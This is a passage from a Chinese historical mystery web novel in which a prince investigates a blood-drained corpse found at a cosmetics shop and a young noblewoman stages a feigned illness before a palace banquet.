“沈爷,林小姐,既然二位如此通情达理,那小的就斗胆直说了。”他身体又往前倾了倾,声音压得更低,显得既神秘又恳切,“小的想着,这‘雪香斋’的底子和口碑毕竟是实实在在的,如今不过是暂时遇到了这资金周转的难关,若能得贵人注入一笔资金,助小店渡过眼前这道坎,必定能焕发新生,更上一层楼!” 他热切地看向沈盛德:“沈爷您是江南巨贾,眼光独到,若您肯入股投资小店,不仅是解了小的燃眉之急,更是为这‘雪香斋’注入了强心剂啊!届时,有了您的威望和资金支持,咱们必能将这招牌做得更大更响,开遍大江南北!这其中的利润回报,定然不会让沈爷您失望!” 第109章 发现诡异女尸 沈盛德听着贾富贵这番绘声绘色的“宏图大计”,脸上故意露出一副深思熟虑的表情。 他沉吟片刻,方才缓缓开口:“贾掌柜的这番雄心壮志,沈某听明白了,也颇为心动。只是……” 他话锋微转,带着商人特有的审慎,“在这之前,还有两件小事,还需贾掌柜为沈某解惑一二。” 贾富贵一听有门,脸上立刻堆满笑容,忙不迭地应道:“沈爷您太客气了!有何疑问但说无妨,小的必定知无不言,言无不尽!” 沈盛德微微颔首,伸出一根手指:“这第一件嘛,便是关乎你我双方的利益。若沈某果真投了银钱,不知这日后红利该如何分算?沈某能占几成?是以每月净利为准,还是按总营收来算?这其中的章程,须得事先言明。” 他顿了顿,观察了一下贾富贵的反应,继而伸出第二根手指。 “至于这第二件,投资一事,关乎真金白银,并非儿戏。空口无凭,终难取信。不知贾掌柜可否将贵号近些年的账册明细取来一观?也好让沈某仔细瞧瞧‘雪香斋’如今的经营实况,盈亏几何,未来又究竟有多大的利润回报空间。如此,沈某这钱投出去,才能安心不是?” 一旁的林小满立刻眨着一双好奇的大眼睛,用力点头附和道:“舅舅此言有理!俗话说得好,知己知彼,方能百战不殆嘛。贾掌柜,本小姐也是好奇得很呢,您这生意做得如此‘良心’,成本高昂却利润微薄,究竟是怎么一年年维持下来的?看看账目,应该就一清二楚了吧?” 贾富贵眼中猝不及防地闪过一丝慌乱,他下意识地搓着手,言辞变得吞吐起来, “这……这个……账册自然是有的,只是……只是……” 沈盛德见状,眉头微挑,语气依旧平和,却带着不容置疑的份量:“哦?贾掌柜莫非是有什么不便之处?我沈某虽算不得绝顶聪明,但在商言商,这投资合作的首要前提,便是双方坦诚相见,账目公开透明。若连最基本的经营状况都无法核实,这让沈某如何敢将银钱投进来呢?” “并非如此!沈爷您误会了!”贾富贵急忙摆手,他脸上挤出更加恳切的笑容,语气却仍带着几分迟疑, “小的绝无隐瞒之意!只是……只是……” 就在这时,一旁的林小满忽然轻笑一声,语气娇憨地插话道:“舅舅~” 她拖长了调子,带着几分不谙世事的天真,“您这话说的,未免也太公事公办,显得有些不近人情了。贾掌柜的为人,我们方才不都看得清清楚楚吗?这般‘宁损己利,不欺客心’的诚信之人,难道还需像审问犯人一样,事事盘查得那么清楚吗?合作讲究的不就是个信任二字?我相信贾掌柜定然不会欺瞒我们的。” 贾富贵一听林小满这话,简直如同抓住了救命稻草,心中暗喜,脸上却立刻摆出一副“深受理解、感激涕零”的模样,连忙就着林小满递过来的梯子往下爬。 “林小姐明鉴!林小姐您真是体恤小人啊!”他转向沈盛德,语气变得“无奈”又“诚恳”: “沈爷,并非小的不愿立刻将账册奉上,实在是因为……因为年前这总店的后院不慎走了水,虽未酿成大祸,但为了安全起见,小人已将大部分重要的账册、契据都暂时移送至城外的私宅妥善保管了。” “眼下铺子里只有近两月的流水细账,恐怕难以呈现全貌。沈爷若定要查看,小的这就立刻派人快马加鞭去取!只是这一来一回,恐怕得耗费些时辰……” 他一边说着,一边小心翼翼地观察着沈盛德的脸色。 沈盛德闻言,故作沉吟,目光状似无意地瞥向一旁的林小满。 只见林小满微不可察地朝他点了点头。 得到外甥女的暗示,沈盛德这才仿佛下了决心,缓缓开口道,“原来如此,竟是遭了走水之灾,贾掌柜经营确是不易。既然是这样……” 他顿了顿,一副通情达理的模样,“那便依你所言。届时你且将完整的账册整理妥当,派人送至我府上,待我仔细瞧过,若果真如贾掌柜所言,底蕴犹在,只是暂遇周转之难,那沈某倒也不介意投上一笔,助贾掌柜渡过难关。” 贾富贵一听这话,简直是喜从天降,兴奋得几乎要跳起来。 他猛地站起身,对着沈盛德和林小满便是深深一揖,声音因激动而微微发颤:“多谢沈爷!多谢林小姐!二位真是我贾某人的贵人,是‘雪香斋’的再造恩人啊!沈爷您放心,账册小的必定尽快、详尽地为您备好,定不让您失望!” 他脸上堆满了感激涕零的笑容,仿佛已经看到了白花花的银子流进口袋。 …… 次日清晨,天光尚未大亮,一层薄雾笼罩着京城。 忽然,一声凄厉惊恐的尖叫划破了雪香斋后院的宁静。 不过片刻功夫,闻讯赶来的官差便将雪香斋前后围了个水泄不通。 恰在此时,一阵急促的马蹄声由远及近,裴昭一身墨色常服,身侧跟着东风,二人勒马停在了雪香斋门前。 京兆尹李大鹏刚跨进大门,闻声回头,一见来人,顿时一惊,连忙快步折返,在门前台阶下恭敬行礼:“下官参见王爷!” 裴昭利落地翻身下马,随手将马鞭丢给东风,微一抬手:“李大人不必多礼,请起。” 他目光扫过被官差把守的铺面,语气沉静,“本王早朝途中,听闻此处发生命案,便顺道过来一看。” 李大人直起身,脸上带着几分讶异与惶恐:“竟劳动王爷大驾,是下官失职。只是不知王爷何以亲自前来?” “恰逢其会罢了。”裴昭言简意赅,并未多作解释,转而问道,“里面情况如何?可知是何事由?” 李大人连忙躬身回应:“回王爷,下官也是刚到,尚未及细查。只听差役初步来报,说是……在后院发现了一具女尸。具体情形、死者身份,都还需勘验后方知。” 第110章 被吸干的女尸 裴昭闻言,眉头微蹙,点了点头:“嗯。进去看看。” 说着,他便率先迈步而入,李大鹏赶忙侧身引路,东风紧随其后。 几人穿过气氛凝滞的前堂,径直走向后院。 此刻的后院,晨光熹微中透着几分阴冷诡谲。 三名身着雪香斋伙计服饰的妇人正瑟瑟发抖地挤在门边,脸色惨白,眼中满是惊惧茫然,显然是最早的发现者。 两名持刀捕快正守在她们身旁,神色很是严肃的阻止任何人随意进出。 裴昭率先踏入房门,室内光线很是昏暗,窗户的那一点光线根本就不足以照亮这里面,还有一股若有似无的气息弥漫在空气中。 一名身着雪香斋统一青灰色襦裙的妇人直接挺地躺在地上,一名仵作正蹲伏在尸体旁,小心翼翼地初步查验。 李大鹏紧随其后,他谨慎地绕了半圈,想找一个能看清尸体全貌的角度。 当他转到尸体另一侧时,目光猛地触及那妇人的正面,顿时吓得倒抽一口冷气,踉跄着后退半步,声音都变了调: “这……这!怎、怎么会是如此模样?!” 裴昭与东风对视一眼,立刻快步上前。 方才他们的视线被仵作的身影遮挡,此刻才真正看清,那躺在地上的女子,乍看之下周身并无明显伤口,但整个人却呈现出一种极其诡异的干瘪状态。 就像是血肉精华被抽空,只留下一层光秃秃的皮肤紧紧包裹着骨架,眼眶深陷,颧骨突出,形状可怖,竟真如被吸干了全身血液一般! 那仵作察觉到几位大人的到来和失态,立刻停下了手中的动作。 他站起身,将方才检查用的一双薄布手套摘下,面色凝重地塞回腰间的工具袋中,然后对着裴昭和李大鹏恭敬地拱手行礼。 李大鹏强压下心中的惊悸,指着地上的尸体,声音仍有些发颤:“这…这究竟是怎么回事?你查验出了什么?” 仵作眉头紧锁,脸色也十分难看,沉声回禀道:“回大人,回王爷,恕小人直言,此情形实属罕见诡异。如您所见,这名女子周身并无致命外伤,但其全身血液……似乎已流失殆尽。肢体干瘪挛缩,皮肤苍白发皱,贴附于骨,这等症状……小人忝任仵作十余年,也是头一遭遇见啊。” 他顿了顿,语气更加沉重,“观其体表,并无大型创口放血的迹象,这血液如何能流失得如此彻底干净,简直…简直像是被某种东西由内而外彻底吸吮榨干了一般,实在有悖常理,蹊跷得很!唉,小人都快要怀疑是不是有鬼魂作祟了。” ”住嘴,光天化日之下,说什么呢?“李大鹏呵斥道,余光撇见裴昭并不在意赶紧使了个眼色让仵作离开。 裴昭在这狭小的房间里缓步巡视。 此处显然是雪香斋提供给店内仆役的临时休憩之所,陈设简陋,靠墙摆放着五张窄小的板床,其中四张上都铺着略显凌乱的被褥,唯独最里侧的一张床上空空如也,只余光秃秃的石板。 他目光扫过每一个角落,并未发现明显的打斗痕迹或可疑物品。 这桩命案的诡谲之处,似乎全都集中在了那具异常干瘪的尸体上。 巡视一圈无果后,裴昭大步走出房门,目光投向那三名仍在瑟瑟发抖的妇人。 “你们三人,都是这雪香斋的夥计?” 那三人早已吓得魂不附体,闻言更是浑身一颤,忙不迭地点头,声音发颤地连声应道:“是、是、是……回大人话,草民们都是……” 一旁的东风见状,上前一步,语气稍缓,试图安抚她们的情绪, “三位大姐不必过于惊慌。这位是靖安王爷。王爷在此,必会查明真相,还无辜者清白。你们只需将今早所见所闻,据实禀报即可。王爷问什么,你们便答什么,不必害怕。” 春风不说还好,靖安王,这三个字一说出来,那三人抖得更加的厉害,非但没能安心,反而吓得“扑通”一声齐齐跪倒在地,磕头如捣蒜,声音里带上了哭腔: “王爷饶命!王爷饶命啊!草民冤枉!草民什么都不知道啊!” “求王爷明鉴!我们就是早上起来想叫刘婶子上工,才发现……才发现她成了那样……” “我们真的什么都不知道,一进来就看到她那样躺着了……求王爷开恩,饶了我们吧……” 裴昭目光轻飘飘地扫了东风一眼,东风立刻会意,上前一步,温和地将三名妇人搀扶起来。 “三位大姐快快请起。王爷在此,绝非为了刁难无辜之人,而是要查明真相,缉拿真凶。你们若是清白,王爷自然会为你们做主。如今最重要的,便是将你们所知之事,原原本本、详详细细地说出来,这才能帮助王爷尽快破案。” 或许是东风的态度起了作用,也或许是“查明真相”四个字带来了些许希望,三名妇人的情绪稍稍平复了一些,虽然身体仍在微微发抖,但已不再哭喊求饶。 东风见她们情绪稍定,这才放缓了语气,尽量用温柔地问道:“三位姐姐,可否仔细告诉我,从昨日到今天清晨发现刘婶之前,你们这后院究竟发生了何事?任何细节都可能至关重要。” 三名妇人相互对视一眼,似乎从同伴眼中汲取了一点勇气。 最后,站在最左侧、看起来最为年长的那位妇人用袖子擦了擦眼角,上前一步。 她先是朝着裴昭深深福了一礼,又转向后出来的李大鹏也行了一礼,这才哽咽着开口,声音仍带着颤音: “回…回王爷,回大人……民妇姓张。”她深吸一口气,“我们三个,加上里面……里面的刘婶子,都是在这雪香斋后院做活的伙计。因为铺子里活儿多,早上开张早,晚上打烊又晚,家都住得远,掌柜的便允了我们平日都宿在后院这排屋子里,只有轮休时才能回家一趟。” “我们几个相处了好些年,关系一向极好,平日里无话不谈,互相帮衬着,就像…就像亲姐妹一样。” 第111章 贾掌柜的可真敬业啊 张氏说到此处,眼圈又红了, “昨日…昨日夜里一切都和往常没什么不同,收工后我们还一块儿说了会儿话,商量着今儿个一早,天蒙蒙亮就起来,一起去对面那家新开的包子铺尝尝鲜……当时刘婶子还笑着说她请客……” “大家说笑了几句就各自歇下了,夜里静悄悄的,真的没听见任何古怪的动静……可谁…谁能想到……早上她竟然变成了那副模样!我们就……就吓得叫出了声……” 张氏说完,再也忍不住,低声啜泣起来,另外两名妇人也跟着默默垂泪。 李大鹏沉声问道:“人是你们谁最先发现的?” 站在中间那名身形稍显瘦弱的妇人怯生生地、颤巍巍地举起了手,声音细若蚊蚋:“是……是民妇……” “你叫什么名字?”李大鹏追问。 “民…民妇名叫巧儿。”她吞咽了一下,努力平复呼吸,回忆道, “昨日睡前水喝得多了些,今早天刚蒙蒙亮,就…就想起夜。从窗户看出去虽有些亮光了,可屋里还是黑漆漆的。我摸黑穿好鞋,急着往门口走,也没仔细看脚下……就感觉突然被什么东西绊了一下,重重摔了一跤。” 另外两名妇人闻言点头,张氏接过话头道:“我们都被巧儿摔倒的动静和叫骂声惊醒了。只听她在黑暗中没好气地嚷嚷:‘谁啊!这么不长眼,把东西放路中间,存心绊人是不是?!’” “我们屋里向来整洁,从不会在过道乱放东西。” 另一名妇人邢氏补充道,脸上仍有余悸,“我们担心巧儿摔伤了,也奇怪到底是什么绊了她,就赶紧都爬起来,摸索着打开了房门,又点起了蜡烛……” 张氏的声音开始发抖,眼中浮现出极度的恐惧:“烛光一亮……我们才看清,地上躺着的……竟然是个人!当时我们几个都醒了,唯独刘婶没动静……我们心里就咯噔一下,猜到恐怕是她了。可一开始……我们只以为她是旧疾复发,晕厥了过去……” 她的呼吸变得急促,仿佛又回到了那个恐怖的清晨:“我们赶紧围上去,想把她扶到床上……可……可一上手……” 张氏猛地顿住,脸上血色尽褪,嘴唇哆嗦着,似乎无法形容那种触感。 即使她的话没有说完,但在场所有人都能想象到那一幕,当她们急切地想要搀扶起熟悉的同伴时,却惊骇地发现,原本应有些分量的身体竟变得异常轻飘,仿佛只剩下一把骨头。 而当烛光凑近,照亮那张脸时,看到的恐怕不再是往日熟悉的面容,而是深陷的眼窝、凸出的颧骨,以及一层紧贴在骨骼上、毫无生气的灰败皮肤,那根本不像一个刚刚去世的人,更像是一具被风干了许久的尸骸! 那种视觉和触觉上的巨大反差与冲击,自然足以让任何心智健全的人瞬间崩溃。 裴昭沉吟片刻,开口问道:“这位刘婶平日为人如何?可曾与人结怨?或是与谁关系不睦?” 三名妇人低头沉思了一会儿,张氏作为代表回答道:“回大人,刘婶子为人再和善不过了。平日里我们姐妹几个谁有个头疼脑热,或是家里有急事要搭把手,她总是二话不说就帮忙。对待店里那些来买胭脂水粉的夫人小姐们,她更是耐心周到,介绍得仔细,从不因客人挑拣或是问得多就不耐烦,总是笑盈盈的。所以很多熟客都爱找她,掌柜的也常夸她会做生意。这样的人,怎么会有什么仇家呢?” 裴昭闻言,正想再追问一些细节,忽然听见外面传来一阵急促的脚步声和喧哗声。 他抬眼向外望去,只见一名捕快快步走进院中,拱手禀报:“王爷,李大人,外面有一自称贾富贵者,声称是此间掌柜,求见二位大人。” 裴昭目光转向张氏,张氏连忙点头确认:“回王爷,我们掌柜的确叫贾富贵。” 裴昭对李大鹏微微颔首,李大鹏会意,扬声道:“让他进来回话。” “是!”捕快领命退下。 不多时,贾富贵便脚步匆匆地走了进来,他一进院门,目光首先就恶狠狠地剜了那三名妇人一眼,那三名妇人吓得浑身一抖,立刻缩紧了身子,恨不得挤成一团。 裴昭将这一切尽收眼底,面上却不动声色。 贾富贵迅速换上一副诚惶诚恐、又带着几分讨好笑意的面孔,快步上前,对着裴昭和李大鹏深深一揖,几乎要跪下去: “小的贾富贵,参见王爷!参见李大人!小的正是这雪香斋的掌柜。不知王爷和大人大驾光临,有失远迎,恕罪恕罪!” 裴昭唇角勾起一抹似笑非笑的弧度,语气很是平淡,“贾掌柜消息倒是灵通得很啊。这天刚亮,官差前脚刚到,你后脚就赶来了?” 贾富贵保持着躬身作揖的姿势,不敢抬头,脸上挤出更加谄媚的笑容,连忙回道: “王爷明鉴!王爷您威名远播,小的虽是一介商贾,也早有耳闻。都说靖安王殿下您明察秋毫、爱民如子,今日得见天颜,真是三生有幸,果然名不虚传……” 他还想继续奉承下去,站在裴昭身侧的东风却上前一步,沉声打断了他, “王爷问的是你如何得知此处出事、并迅速赶来的,休要东拉西扯,答话!” 贾富贵被这突如其来的呵斥吓得一哆嗦,腰弯得更低了,冷汗瞬间就浸湿了后背。 他赶紧收敛了谄媚之词,脑子飞速转动,忙不迭地解释道:“是是是!小的失言,请王爷恕罪!回王爷的话,小的……小的平日就宿在离铺子不远的一处私宅。” “今日天刚亮,就听到外面街面上人声嘈杂,说是……说是雪香斋出事了,惊动了官差。小的身为掌柜,一听是自家铺子出了事,哪里还敢耽搁?这才火急火燎地赶了过来。” “掌柜的倒也确实敬业的很,不错不错。”裴昭冷笑道。 第112章 林小满这么做一定有她的道理 贾富贵被裴昭那声意味不明的冷笑惊得心头一颤,刚想直起身子回话,东风狠厉的眼神就扫了过来。 他腿肚子一软,“噗通”一声直接跪倒在地,额头几乎要碰到冰冷的石板,声音因为恐惧而变得更加急促: “王爷明察!王爷明察啊!小的…小的绝无半句虚言!小的之所以…之所以能这么快赶来,确实…确实另有缘由,只是…只是不知当讲不当讲……” 他伏在地上,眼珠慌乱地转动着,似乎在权衡利弊,最终像是下定了决心,小心翼翼地抬起头,试探着说道: “不知…不知王爷和李大人…可否知晓江南首富,沈盛德沈大员外?” 他偷偷抬起眼皮,飞快地瞥了一眼裴昭,见对方面无表情,并未出声制止,才像是得了些许勇气,硬着头皮继续往下说,语气却变得吞吞吐吐: “就…就在昨日,沈员外与他那位外甥女林小姐…大驾光临了小店…那个…他们…” 贾富贵说到这里,故意显出一副极为难、仿佛涉及了什么天大机密又不敢妄言的模样,眼神闪烁,话语也支吾起来。 一旁的李大鹏见他这副吞吞吐吐、故弄玄虚的样子,早已不耐烦,厉声呵斥道: “贾富贵!在王爷面前,休要故弄玄虚,装神弄鬼!有什么话就痛快说出来!你这般扭扭捏捏,成何体统!” “是是是……大人息怒,王爷息怒!”贾富贵被呵斥得浑身一抖,连忙磕了个头,这才像是被逼无奈般,语速极快地解释道: “回王爷,回大人!事情是这样的!昨日沈员外与林小姐—就是丞相府的那位二小姐,确实大驾光临了小店!” “林小姐…林小姐亲口说了,觉得小店经营颇有潜力,有意与沈员外一同入股投资!昨日相谈甚欢,还特意吩咐小的,务必于今日将店中近年来的所有账册整理妥当,送至沈员外下榻之处供其过目审阅!” 他一边说一边偷觑着两位大人的脸色,语气变得更加“诚恳”, “小的不敢怠慢,今日一早便起身准备,就听见外面乱哄哄的,差了下人一问,才惊闻竟是自家铺子出了这等骇人之事!小的魂都快吓没了,这才一刻不敢耽搁,急忙赶了过来,只想看看到底发生了何事,绝无他意啊!” 李大鹏听完这番话,脸色果然微微一变。 江南沈盛德富甲一方,他进京的消息并非秘密,但沈家竟会看上贾富贵这间口碑存疑的胭脂铺,还要拉上相府千金一起投资? 这背后牵扯的可就不仅仅是钱财,更是丞相府和江南沈家的颜面了。 他何尝看不出来这贾富贵的小心思,分明就是把他们二人拿出来做挡箭牌,明里暗里都在告知,自己和丞相府以及沈员外的关系匪浅 此案如果处理不当,惊扰了那两位贵人,后续的麻烦恐怕不小。 他瞬间感到肩头压力陡增,下意识地将求助和请示的目光投向了身旁的裴昭。 此刻,这位位高权重的王爷的态度,才是至关重要的。 东风在贾富贵提及“林小姐”的瞬间,目光便下意识地投向了裴昭。 果然,裴昭在听到这三个字时,眼神几不可察地微微一凝。京城之中,能被贾富贵这般提及、又与江南沈家关系密切的相府二小姐,除了林小满,还能有谁? 只是林小满真要投资这间不起眼的胭脂铺?裴昭心中并无太多怀疑,以他对林小满的了解,她做出任何出人意料之事都不足为奇。 更重要的是,她绝不会无缘无故地对某件事产生兴趣,她若真要插手这雪香斋,必定是察觉到了什么不寻常之处。 或许,这间胭脂铺本身就隐藏着某种不可告人的秘密,才引来了她的目光? 裴昭心念电转,面上却依旧平静无波,他淡淡开口,语气听不出喜怒, “既是如此,牵扯到沈员外与林小姐,贾掌柜来得迅疾,倒也算情有可原。” 他话锋一转,“至于你所言是真是假,本王自会核实。恰巧今日宫中淑妃娘娘设赏花宴,林小姐也会赴宴。届时,本王当面一问便知。” “若你所言属实,自然无事,但若让本王查出你有半句虚言,借林小姐与沈员外之名行欺瞒之事……那贾掌柜,你这急匆匆赶来的行径,可就显得格外可疑了。本王就不得不怀疑,你是否与这后院发生的命案,脱不了干系!” 贾富贵闻言,吓得魂飞魄散,连连磕头,声音抖得几乎不成调, “王爷明鉴!王爷明鉴啊!小的就是有天大的胆子,也绝不敢假借林小姐和沈员外之名欺瞒王爷!小的所言句句属实,绝无半句虚假!王爷尽管去问,小的,小的愿意在此等候王爷核实!只求王爷还小的一个清白!” 裴昭微微颔首,不再看跪地求饶的贾富贵,转而对着李大鹏吩咐道:“既如此,李大人,此间事宜便交由你全权处置。贾掌柜,” 他的目光重新落回贾富贵身上,带着不容置疑的命令,“你需将刘婶的所有社会关系,以及其家人的详细情况、住址,一五一十、毫无遗漏地告知李大人。在此案水落石出之前,你不得离开京城半步,需随时听候传召,配合调查。可听明白了?” “是是是!小的明白!小的明白!” 贾富贵如蒙大赦,连连磕头保证,“王爷放心,李大人放心,小的一定知无不言,言无不尽!必定全力配合李大人的调查,绝不敢有丝毫隐瞒!” 他见裴昭语气稍有缓和,眼珠一转,似乎又想趁机表现什么,忙不迭地补充道: “王爷,李大人,不瞒二位,小的这雪香斋虽是小本经营,但一向仁义待人!铺子里雇用的多是像刘婶这样家境贫苦、为人老实的妇人。小的不仅给她们开工钱,逢年过节还有米面油盐分发,病了也准许告假……小的自问待她们不满啊!” 他话锋一转,故作神秘地压低了声音: “只是……这刘婶的家里情况确实特殊。听说她那丈夫是个嗜赌如命的混不吝,时常在外欠下一屁股债,回家便拿老婆孩子撒气,非打即骂……唉,街坊邻居都是知道的。您二位说……会不会是那赌鬼丈夫又欠了巨债,逼急了……才、才做出什么丧尽天良的事来?这……这也不是不可能啊……” 李大鹏听着他这番看似提供线索、实则急于撇清关系并引导视线的言论,不由得皱紧了眉头,厉声打断了他, “贾富贵!官府查案,讲的是真凭实据,岂容你在此妄加揣测,引导视听?!你需要做的,是将你知道的事实清楚禀报,至于案情如何,本官与王爷自有论断,无需你在此多做无谓之猜度!” 贾富贵被呵斥得缩了缩脖子,连忙噤声,再不敢多言,只是连连点头称是。 第113章 病容到位 裴昭不再多言,对李大鹏微微颔首:“李大人,这里便交给你了。仔细勘验,详加查访。至于林小姐那边,本王自会去询问核实。” “下官明白!恭送王爷!”李大鹏连忙躬身应下,心中暗自松了口气。 裴昭不再停留,带着东风转身离去,将雪香斋内的混乱与疑云暂且抛在身后。 …… 与此同时,丞相府,林小满的闺房内。 兰竹正小心翼翼地替她对镜梳妆。铜镜中映出的容颜,却被刻意勾勒得几分苍白虚弱,唇色也淡得近乎没有血色,眼下一抹淡淡的青影更是衬得人恹恹无力。 兰竹放下手中的胭脂笔,端详着镜中的林小满,眉头微蹙,犹豫着轻声问道 “小姐……今日是进宫赴淑妃娘娘的赏花宴,这般妆容……是不是太过憔悴了些?要不要奴婢再为您添些腮红和口脂?” 林小满闻言,并未睁眼,只是闭着嘴巴,伸出一根纤细的手指,故作高深地摇了摇,声音带着一丝刻意的慵懒, “非也,非也……兰竹,你现在这手艺,火候掌握得刚刚好。要的就是这个效果。” 一旁的小花早已凑了过来,围着林小满左看右看,脸上满是兴奋和赞同,压低声音啧啧称奇。 “像!太像了!小姐,您这模样,任谁看了都觉得您这是大病初愈,或是昨夜辗转反侧、忧思过度,简直完美!” 兰竹听着她俩这没头没脑的对话,依旧是一头雾水。 她实在想不通参加宫廷宴饮为何要打扮成这副病弱模样,但身为下人,她深知小姐行事自有道理,便也不再质疑,只是乖巧地应道。 “是,小姐。您觉得好便好。” 林小满这才缓缓睁开眼,对着铜镜中那张“我见犹怜”的苍白小脸,唇角勾起一抹狡黠而得意的浅笑。 “小姐,您这边妆扮得如何了?大小姐的车驾已经在前厅候着了。” 方嬷嬷的声音自门外响起。 林小满闻言,对着镜中最后审视了一眼自己的“病容”,扬声道:“嬷嬷请进,这就好了。” 她说着,站起身來,此时,方嬷嬷也推门走了进来,她身后还跟着四五个捧着衣物的丫鬟,每人手中都托着一个精致的梨花木托盘,上面整齐地叠放着款式、颜色各异的华美衣裙,从清新淡雅的浅碧色到明媚娇艳的石榴红,不一而足。 林小满目光扫过那些衣裙,脸上适时地露出一副难以抉择的苦恼模样,对方嬷嬷软声道。 “嬷嬷来得正好,您快帮我瞧瞧,我正为这事儿发愁呢。今日赏花宴,您说我穿哪一套襦裙更为妥当?” 方嬷嬷是府里的老人,眼光向来毒辣,她闻言上前两步,慈爱地笑了笑,目光在那些衣裙上细细掠过,却并不越俎代庖,只是谦逊地说道。 “小姐真是折煞老奴了。小姐您天生丽质,穿哪一套都是极好看的。老奴这点浅见,怎及小姐您自个儿的眼光好?大小姐常夸赞二小姐您搭配衣饰最有心思,不拘一格,每每都能让人眼前一亮呢。还是小姐您自己拿主意最好,必定能选出最衬今日气色……呃,最合时宜的。” 她话到嘴边,瞥见林小满那刻意画出的苍白脸色,机智地转了口风。 林小满被方嬷嬷那机智的转口逗得“噗嗤”一声笑了出来。 方嬷嬷是沈清秋身边的老人,自然知晓她这“病”是装出来的,却从不多嘴过问,更不会以长辈身份指手画脚,这份分寸感让林小满很是喜欢。 她亲昵地挽住方嬷嬷的胳膊,轻轻摇晃着,软语撒娇道:“好嬷嬷,您就帮我选一套嘛~我这可是头一回进宫,心里实在没底。万一不懂规矩,穿错了颜色,或是犯了哪位娘娘的忌讳,惹得人家不高兴,那可怎么是好?您见识广,经得多,帮我拿个主意,我才安心呀!” 方嬷嬷看着眼前这娇憨灵动的二小姐,那眉眼间与夫人年轻时颇有几分相似,心中不由生出几分疼爱和怜惜。 这孩子在外吃了十几年苦,如今回了府,虽得宠爱,却终究对京中权贵圈的弯弯绕绕生疏了些。 她明白,二小姐这般央求自己,既是信任,也是给自己体面。 她心下微软,便也不再推辞,慈和地拍了拍林小满的手,笑道:“既然小姐信得过老奴,那老奴就僭越了。” 她目光再次落回那些华美的衣裙上,神色稍稍认真了些,低声为林小满分析道。 “小姐顾虑的是。如今宫中,皇后娘娘母仪天下,最是雍容端慧,性情宽和,倒不拘这些细枝末节。” “而如今圣宠正浓的,是淑妃娘娘与德妃娘娘。淑妃娘娘性喜明媚鲜亮,尤爱牡丹、芍药等富丽之花;德妃娘娘则出身书香,性子更清雅些,偏爱兰、竹等清雅之物。” 她手指轻轻点过几套衣裙:“依老奴浅见,今日既是淑妃娘娘做东的赏花宴,衣着倒不必过于素净,免得扫了娘娘的兴致。” “但小姐如今这……嗯,‘气色’不佳,过于鲜艳夺目反倒不美。不若择这套湖水绿缀银丝暗纹的齐胸襦裙,颜色清雅不失贵气,这银丝暗纹在日光下隐隐流动,既不会失礼于人,又颇符合您如今这‘病弱’却仍需出席盛宴的身份。小姐以为如何?” 林小满闻言,眼眸一亮,亲昵地蹭了蹭方嬷嬷的肩,笑道。 “嬷嬷的建议真好!我最喜欢这一套了,既不会像那石榴红过于艳丽招摇,显得轻浮;又不会像月白色那般过于素静,反倒刻意显得小家子气。就依嬷嬷的,这套湖水绿的正好。” 方嬷嬷见自己的建议被采纳,脸上笑意更深,忙指挥着小丫鬟们上前伺候更衣。 她自己则压低声音,慈爱地多叮嘱了几句:“老奴多嘴再说一句,入了宫,小林见了娘娘和各位贵人,神色不妨再怯弱三分,回话时声音放轻放缓些,偶尔轻咳一两声也无妨。” 第114章 少了些欲盖弥彰的真切感 “只需记得礼数周全,仪态上莫要出了差错,旁人便只会怜惜小姐身子不适仍勉力赴宴,不会挑剔其他。” 林小满听得认真,心中暖融融的,知道这是方嬷嬷在提点她如何将这“病”装得更真、更惹人怜惜,又不失相府千金的体面。 她重重点头,语气诚挚:“嗯!我记下了,谢谢嬷嬷提点。” 方嬷嬷听着林小满诚挚的应答,眼中慈爱之色更浓。 她细细端详着林小满刻意营造出的苍白面容,像是忽然想起什么,又凑近了些,带着一点过来人的狡黠笑意: “小姐且慢,老奴再多一句嘴。您这妆容虽好,但若苍白得太过彻底,反倒显得刻意,少了些‘欲盖弥彰’的真切感。” 她说着,从妆台上拈起那支刚才被兰竹放下的胭脂笔,用指腹轻轻蹭下些许嫣红,示意给林小满看。 “病中之人,有时反会因气弱血虚,面颊上突兀地透出些不正常的红晕,或是强撑着想要掩饰病容,反而会笨拙地多扑些胭脂,却盖不住底子的虚弱。小姐不如……在颧骨这里,稍稍扫上这么一点点,极淡极薄的一层,似有还无。” 她又指了指林小满淡白的嘴唇:“口脂也略点上一些,不必均匀涂满,只消在唇心稍稍润开一点颜色,做出努力想让自己看起来有精神些,却又无力仔细描画周全的模样。” “这般‘强撑’的痕迹,反倒比全然的无血色更显真实,叫人一看便觉得,这丫头病着还这般努力打扮,真是不易,心生怜惜之余,也不会深究您这病是真是假了。” 林小满听得眼睛发亮,忍不住抓住方嬷嬷的手腕,低呼:“嬷嬷!您真是高手!这点睛之笔太重要了!” 她立刻转向兰竹,“快,兰竹,就按嬷嬷说的,赶紧帮我补上一点点,要那种……嗯……好像擦了又好像没擦,想遮掩又没遮掩好的感觉!” 兰竹连忙应声,小心翼翼地执起笔,按照方嬷嬷的指点,在那苍白的画布上,添上了最后两笔足以乱真的“病中强饰”。 方嬷嬷站在一旁看着,满意地点点头,这才真正放下心来:“好了,这下便是十全十美了。老奴去门口候着,小姐准备好了就出来,马车已然备妥。” 方嬷嬷欣慰地笑了笑,恭敬道:“那老奴先去前头回禀大小姐一声,就说小姐即刻便到。车驾已在二门上候着了。” “好,有劳嬷嬷了。”林小满应道。 方嬷嬷又对着屋内的兰竹、小花等人嘱咐了一句:“好生伺候着小姐。”这才转身退出了房间。 林小满换好襦裙后对着镜中那柔弱不胜衣的身影最后调整了一下表情,确保那份恰到好处的憔悴和强打精神的样子毫无破绽,才道: “兰竹,小花,我们也走吧,别让大姐姐等急了。” 她说着,微微蹙起眉,一手轻轻抚上额角,做出几分弱不禁风、需要搀扶的模样。 兰竹和小花立刻会意,一左一右小心翼翼地扶住她,主仆几人缓缓向门外走去。 林小满在兰竹和小花的搀扶下,一步一挪,弱柳扶风般地行至相府二门处。 那刻意放缓的步子,微蹙的眉尖,以及偶尔因“气力不支”而轻轻倚靠丫鬟的小动作,被她演绎得淋漓尽致。 早已等候在马车旁的沈清秋和林知鸳闻声转头看来,两人俱是一怔。 只见林小满一身湖水绿襦裙,颜色虽清雅,却更反衬得她面色苍白如纸,唇上那一点点若有似无的唇色,非但没增添气血,反倒更像病中之人勉强提点精神的徒劳努力。 她眼下的青影和周身散发出的那股恹恹无力感,逼真得骇人。 若非早知她是装病,沈清秋和林知鸳几乎要立刻上前探问她是何时染了重疾。 林知鸳更是下意识地微张了嘴,眼中满是惊诧。 林小满将二人的反应尽收眼底,心中得意非凡。 